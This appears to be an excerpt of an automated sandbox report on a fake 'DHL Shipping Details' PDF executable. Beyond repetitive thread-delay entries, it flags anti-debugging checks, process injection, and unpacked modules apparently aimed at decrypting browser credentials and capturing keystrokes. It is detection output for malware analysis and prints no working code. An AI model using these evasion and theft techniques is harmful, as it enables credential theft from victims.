Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598171	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598062	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597953	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597843	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597734	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597624	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597515	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597296	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596968	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596722	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596593	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596374	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596265	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596046	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595499	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595171	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594952	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594833	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594696	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594468	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594355	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594070	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 593815	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 593646	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 593515	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 593405	Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Window / User API: threadDelayed 995	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Window / User API: threadDelayed 979	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Window / User API: threadDelayed 3478	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Window / User API: threadDelayed 6350	Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6952	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6952	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6952	Thread sleep time: -239890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6952	Thread sleep time: -239781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6952	Thread sleep time: -239671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6952	Thread sleep time: -239562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6952	Thread sleep time: -239453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6952	Thread sleep time: -239344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6952	Thread sleep time: -239233s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6952	Thread sleep time: -239063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6952	Thread sleep time: -238952s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6952	Thread sleep time: -238843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6952	Thread sleep time: -238632s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6896	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -29514790517935264s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6372	Thread sleep count: 3478 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6372	Thread sleep count: 6350 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -599714s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -599593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -599483s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -599374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -599265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -599156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -599046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -598937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -598828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -598718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -598609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -598499s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -598390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -598281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -598171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -598062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -597953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -597843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -597734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -597624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -597515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -597406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -597296s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -597187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -596968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -596722s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -596593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -596484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -596374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -596265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -596156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -596046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -595937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -595828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -595718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -595609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -595499s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -595390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -595281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -595171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -595062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -594952s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -594833s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -594696s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -594578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -594468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -594355s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -594070s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -593815s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -593646s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -593515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 6332	Thread sleep time: -593405s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 240000	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 239890	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 239781	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 239671	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 239562	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 239453	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 239344	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 239233	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 239063	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 238952	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 238843	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 238632	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599714	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599593	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599483	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599374	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599265	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599156	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599046	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598937	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598828	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598718	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598609	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598499	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598390	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598281	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598171	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598062	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597953	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597843	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597734	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597624	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597515	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597296	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596968	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596722	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596593	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596374	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596265	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596046	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595499	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595171	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594952	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594833	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594696	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594468	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594355	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594070	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 593815	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 593646	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 593515	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 593405	Jump to behavior

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.1107898524.00000000046F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: oixmnVMciL
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3536090999.00000000010A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Code function: 0_2_02DB1A98 CheckRemoteDebuggerPresent,

0_2_02DB1A98

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Code function: 2_2_0104C168 LdrInitializeThunk,LdrInitializeThunk,

2_2_0104C168

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack, UltraSpeed.cs	Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text9 + "\\mozglue.dll"))

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Memory written: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Process created: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe "C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe"

Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe VolumeInformation	Jump to behavior
